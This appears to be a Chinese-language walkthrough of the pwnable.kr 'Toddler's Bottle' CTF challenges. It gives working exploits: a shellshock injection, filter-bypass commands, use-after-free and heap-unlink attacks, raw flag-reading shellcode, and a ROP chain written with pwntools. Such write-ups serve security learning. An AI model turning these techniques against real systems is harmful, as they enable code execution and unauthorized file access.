Toddler’s Bottle

leg

关键在于 pc 的计算。不像 x86 里 pc 总是指向下一条指令的地址,ARM 中的 pc 是下下条。假设当前指令地址为 x,即

  • ARM 模式:pc = x + 8
  • Thumb 模式:pc = x + 4

按这个规则计算得到 key1() + key2() + key3() = 0x8ce4 + 0x8d0c + 0x8d80 = 0x1A770,输入就好了

108400

mistake

因为运算符优先级问题,fd 被赋值成 0,也就是 stdin,和 password 文件就没有关系了,可以输入

1111111111
0000000000

shellshock

该题源自 bash 的任意指令执行的安全漏洞,摘自维基百科

Initial report (CVE-2014-6271)
This original form of the vulnerability (CVE-2014-6271) involves a specially crafted environment variable containing an exported function definition, followed by arbitrary commands. Bash incorrectly executes the trailing commands when it imports the function.[33] The vulnerability can be tested with the following command:
env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”
In systems affected by the vulnerability, the above commands will display the word “vulnerable” as a result of Bash executing the command “echo vulnerable”, which was embedded into the specially crafted environment variable named “x”.[8][34]

env x='() { :;}; /bin/cat flag'  ./shellshock

coin1

比较单纯的算法题?按题目要求的做就行了,用 pwntools 处理输入输出,最后再 ssh 上去跑一下 jio 本

from pwn import *
import re

def weigh(conn, s, e):
    coin_list = [str(i) for i in range(s, e+1)]  # [s, e]
    s = " ".join(coin_list).encode()
    conn.sendline(s)
    output = conn.recvline().decode()
    result = re.search("(\d+)", output).groups()
    assert(len(result) > 0)
    return int(result[0])

def guess(conn, N, C):
    s = 0
    e = N-1
    for i in range(C):
        m = int((s + e) / 2)
        # print('s:', s, ",e:", e, ",m:", m)
        w = weigh(conn, s, m)
        # print("w:", w)
        if w == (m - s + 1) * 10: # all real
            s = m + 1
        else:
            e = m
    return (int)((s + e) / 2)

def main():
    # setup conn
    context.log_level = 'debug'
    conn = remote('pwnable.kr', 9007)
    conn.recvuntil('Ready')
    while True:
        output = conn.recvline_regex('N=(\d+) C=(\d+)').decode()
        n, c = re.search('N=(\d+) C=(\d+)', output).groups()
        answer = guess(conn, int(n), int(c))
        conn.sendline(str(answer).encode())
        conn.recvuntil('Correct!')
    
main()

blackjack

给了一个源码的网页,网页已经失效了,但是可以在网站时光机上找到,然后在这坨代码里翻啊翻,你就会看到有问题的函数

int betting() { //Asks user amount to bet
  printf("\n\nEnter Bet: $");
  scanf("%d", &bet);
  if (bet > cash) { //If player tries to bet more money than player has
    printf("\nYou cannot bet more money than you have.");
    printf("\nEnter Bet: ");
    scanf("%d", &bet);
    return bet;
  }
  else
    return bet;
} // End Function

可以看到第二次输入的 bet 没有作校验就返回了。所以在进入游戏后 bet 直接输入 1000000,判断失败后再输一次 1000000,赢了就好了。输入 -1000000,然后输掉也行……

lotto

虽然规则说得比较玄乎,但是代码的两个 for 循环还是暴露了……一开始还想着 urandom 里有没有什么 bug。只要你的输入能押对随机出的六个字节中的一个就能过关,并且值的范围已经缩小到了 1~45,所以直接试几次就好了……

int match = 0, j = 0;
for(i=0; i<6; i++){
  for(j=0; j<6; j++){
    if(lotto[i] == submit[j]){
      match++;
    }
  }
}
from pwn import *
import re

context.log_level = 'debug'
conn = process('/home/lotto/lotto')
conn.recvuntil('3. Exit')
while True:
    conn.sendline('1')
    conn.recvuntil('Submit your 6 lotto bytes :')
    conn.send(' '*6) # 6 倍的快乐
    conn.recvuntil('bad luck...')

cmd1

#include <stdio.h>
#include <string.h>
int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}

随便跑到 /tmp 下

ln -s /home/cmd1/flag f

创建一个符号链接,然后

~/cmd1 "/bin/cat f"

就好了……

cmd2

#include <stdio.h>
#include <string.h>
int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}
extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

比起 1 里更进一步,直接删除了进程中所有环境变量,这就导致必须用到路径分隔符。而代码里又限制了直接传入 ‘/’,所以就要考虑转义字符之类。可以将 ‘/’ 编码后利用 printf 输出。同上,先到 /tmp 下面新建一个 flag 文件的符号链接

~/cmd2 "\$(printf '\057bin\057cat \057tmp\057subdir\057f')"

其中 \057 就是 ‘/’ 的八进制编码,同时在 $ 前面加上反斜杠,这样 $ 就能在第一次执行时保留下来。

uaf

看上去不是堆溢出的。那么就要先释放掉对象 m 和 w,然后再给 data 分配内存,让 data 的地址和 m 的地址一致,然后触发 m->introduce() 即可。
当然,也要构造 data 的内容,具体就从虚表下手了。
文件中分配给 m 的空间是 0x18 字节,测试了一下发现分配 data 时只要大小不超过 0x18,new 两次得到的地址就和 m 相同(当然 m 需要先 delete)。第一步完成。
调用 m->introduce() 时会先从 *m 处取到虚表的地址,查看类的定义,introduce 函数是表中的第二项,那么实际上就会先取得 *m(即 Man 类的虚表地址),然后取 *m + sizeof(void*) * 2 作为 introduce 函数的地址。所以我们把指向虚表的地址往前挪一下,就会变成 (*m – sizeof(void*)) + sizeof(void*) * 2,以为调用 introduce 就会调到 give_shell,因为 give_shell 函数是表中第一项。而 *m 固定为 0x401570,所以填入 0x401568 就行了。

printf "\x68\x15\x40\x00" > /tmp/in.txt
./uaf 24 /tmp/in.txt
3  // 触发 delete
2
2  // 两次 new
1  // 调用 "introduce"

memcpy

照着提示试一遍,发现程序会崩溃。检查一下可以发现是 sse 指令遇到非 16 字节对齐的内存地址时引起的。所以要求 malloc 出来给 dest 的地址 16 字节对齐。源码开头贴心的给出了编译选项,照着编一个二进制出来试一试就行。比如第 4 次分配 64 字节时是对齐的,第 5 次分配 128 字节时就不对齐了(发现多余了 8 字节),那么第 4 次就分配 64+8 字节,因为堆需要多分配 8 字节保留控制信息,后面以此类推

8
16
32
72
136
264
520
1032
2056
4096

asm

只使用 open read write 函数,写 shellcode 读 flag 文件。
可用的内存空间固定为 0x41414000~0x41415000。
shellcode 的写入范围为 0x4141402e~0x41414416(代码中写死的 1000 字节读取长度)
文件名的字符串可以紧跟着 shellcode,不过需要根据最后写完的 shellcode 调整字符串偏移

// 实际连到 nc 0 9026 时路径要改成 "/home/asm_pwn/..."
char* ppath = // 太鸡儿长了,折一下
  "/home/asm/this_is_pwnable.kr_flag_file_please_read_this_file.sorry_"
  "the_file_name_is_very_looooooooooooooooooooooooooooooooooooooooooooooo"
  "ooooooooooooooooooooooooooooo0000000000000000000000000oooooooooooooooo"
  "ooooooo000000000000o0o0o0o0o0o0ong"; 
__asm__ __volatile__ (
    "mov $2, %%rax\n"
    "mov %0, %%rdi\n"
    "mov $0, %%rsi\n"
    "syscall\n"      // open 的系统调用,ppath 就是文件路径,实际字符串紧跟在 shellcode 后面
    "mov %%rax, %%rdi\n"
    "mov $0, %%rax\n"
    "mov $0x41414400, %%rsi\n"
    "mov $100, %%rdx\n"
    "syscall\n"       // read,读 100 字节到 0x41414400 这个缓冲区
    "mov $1, %%rax\n"
    "mov $1, %%rdi\n"
    "mov $0x41414400, %%rsi\n"
    "mov $100, %%rdx\n"
    "syscall\n"      // write,输出到 stdout
    ::"c"(ppath));

比较操蛋的是在 asm 目录下通过(./asm < 1.txt)已经成功了但换到 nc 0 9026 改用 pwntools 脚本却没成功,搞来搞去最后用管道可以了…… 下面的字节码对应上面的汇编,

\x2F\x68\x6F

开始就是路径字符串内容,调用 open 时需要设 rdi 为字符串地址,前面说到 shellcode 从 0x4141402e 开始,这样就能算出字符串实际位置在哪。

python -c 'print("\x48\x8D\x05\x57\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x48\x89\xC1\x48\xC7\xC0\x02\x00\x00\x00\x48\x89\xCF\x48\xC7\xC6\x00\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\xC7\xC0\x00\x00\x00\x00\x48\xC7\xC6\x00\x44\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC6\x00\x44\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\xCC\x2F\x68\x6F\x6D\x65\x2F\x61\x73\x6D\x5F\x70\x77\x6E\x2F\x74\x68\x69\x73\x5F\x69\x73\x5F\x70\x77\x6E\x61\x62\x6C\x65\x2E\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x66\x69\x6C\x65\x5F\x70\x6C\x65\x61\x73\x65\x5F\x72\x65\x61\x64\x5F\x74\x68\x69\x73\x5F\x66\x69\x6C\x65\x2E\x73\x6F\x72\x72\x79\x5F\x74\x68\x65\x5F\x66\x69\x6C\x65\x5F\x6E\x61\x6D\x65\x5F\x69\x73\x5F\x76\x65\x72\x79\x5F\x6C\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x6E\x67\x00\x0a")' > /tmp/1.txt
cat /tmp/1.txt - | nc 0 9026

unlink

堆溢出。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}

int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
    
    // exploit this unlink!
    unlink(B);
    return 0;
}

因为 unlink 时会操作链表的前向和后向节点,那么不管我把 BK 还是 FD 调整为 shell 函数的地址都会在 FD->bk=BK 和 BK->fd=FD 之一触发写入异常,因为代码段是不可写的。把它们写成堆缓冲区再建立跳板的 shellcode 也不行,因为有 dep。。。这里卡了好久。。。毕竟代码里能劫持的只有 unlink 的 ret 了。后来才想到 main 函数的 ret 也可以做手脚。

 ; main 中调用 unlink 的地方
 0x080485ef <+192>:   pushl  -0xc(%ebp)
 0x080485f2 <+195>:   call   0x8048504 <unlink>
 0x080485f7 <+200>:   add    $0x10,%esp
 0x080485fa <+203>:   mov    $0x0,%eax
 0x080485ff <+208>:   mov    -0x4(%ebp),%ecx
 0x08048602 <+211>:   leave
 0x08048603 <+212>:   lea    -0x4(%ecx),%esp
 0x08048606 <+215>:   ret

从 unlink 返回后绕圈子把 ebp 赋值给了 esp 然后 ret,而这个 ebp 在调用 unlink 时会保存到栈上,就有机会可以修改它了。三个 obj 对象 A B C 在堆上的布局是连续的

0    4    8       16       24
+----+----+--------+--------+----
| fd | bk | buf    | <heap> | fd
+----+----+--------+--------+----

payload 从 A 的 buf 开始算

A+0x8  AAAA
A+0xc  AAAA
A+0x10 AAAA
A+0x14 AAAA
A+0x18 <A的堆地址+0x28>    // OBJ 对象 B,同时也是 B 的 fd
A+0x1c <A的栈地址-0x1c>
A+0x20 \xeb\x84\x04\x08
A+0x24 <A的堆地址+0x24>
A+0x28 <A的堆地址+0x24>

A的栈地址减去 0x1c 正好就是 unlink 函数中 main 的 ebp 保存的位置,\xeb\x84\x04\x08 是 shell 函数的地址,后面两个地址则是在上面 main 函数 ebp 的两次跳转中用到。

from pwn import *
import re

context.log_level = 'debug'
conn = process('/home/unlink/unlink')
stack = conn.recvregex('here is stack address leak: 0x([a-f0-9]+)\n').decode()
stack_addr = int(re.search('here is stack address leak: 0x([a-f0-9]+)', stack).groups()[0], 16)
heap = conn.recvregex('here is heap address leak: 0x([a-f0-9]+)\n').decode()
heap_addr = int(re.search('here is heap address leak: 0x([a-f0-9]+)', heap).groups()[0], 16)
print stack_addr, heap_addr


conn.recvuntil('now that you have leaks, get shell!')
d = 'A'*16
d += p32(heap_addr + 0x28)
d += p32(stack_addr - 0x1c)
d += p32(0x80484eb)
d += p32(heap_addr + 0x24)
d += p32(heap_addr + 0x24)
conn.sendline(d)
conn.interactive()

blukat

脑筋急转弯式的题目,因为 blukat 用户已经设置到 blukat_pwn 组里了,password 文件一开始就有读取权限,只不过输出的文件内容很有迷惑性……所以读出来然后输入就好了,代码还故意留了个缓冲区溢出的幌子。

horcruxes

代码初始化了一堆随机值然后要求输入的值等于它们的总和,显然生成随机数没漏洞的话肯定是办不到的。然后 ropme 函数里有一段看似可以利用的代码,可以溢出后覆盖函数返回地址跳转到箭头处执行。

else {
    printf("How many EXP did you earned? : ");
    gets(s);   // char s[100];
    if ( atoi(s) == sum ) {
=>      fd = open("flag", 0);
        s[read(fd, s, 0x64u)] = 0;
        puts(s);
        close(fd);
        exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
}

但实际上因为

fd = open("flag", 0);

所在地址是 0x80a010b,包含的 0a 正好是换行符会被 gets 截断所以行不通。
正好代码中有 A – G 七个函数会打印出各个随机数的值,而且它们的函数地址也没有特殊字符,所以可以分别返回到这些函数里,算出 sum 后输入即可。

# -*- coding: utf-8 -*-
from pwn import *
import re

context.log_level = 'debug'
#conn = process('/home/horcruxes/horcruxes')
conn = remote('127.0.0.1', 9032)
conn.recvuntil('Select Menu:')
conn.sendline('0')
conn.recvuntil('How many EXP did you earned? :')
p = 'a'*120
p += p32(0x809fe4b)    # A 的函数地址
p += p32(0x809fe6a)    # B
p += p32(0x809fe89)    # C
p += p32(0x809fea8)    # D
p += p32(0x809fec7)    # E
p += p32(0x809fee6)    # F
p += p32(0x809ff05)    # G
p += p32(0x809fffc)    # main() 中调用 ropme() 的地址,因为 ropme 的入口地址含 0a
conn.sendline(p)

data = conn.recv(1024)
data = conn.recv(1024)
data = conn.recv(1024, timeout=5.0)
print 'data:', data
exp = re.findall('EXP \+(-?\d+)', data, re.S)
print 'exp:', exp
sum = 0
for e in exp:
    sum += int(e)
print 'sum=', sum & 0xffffffff
conn.interactive()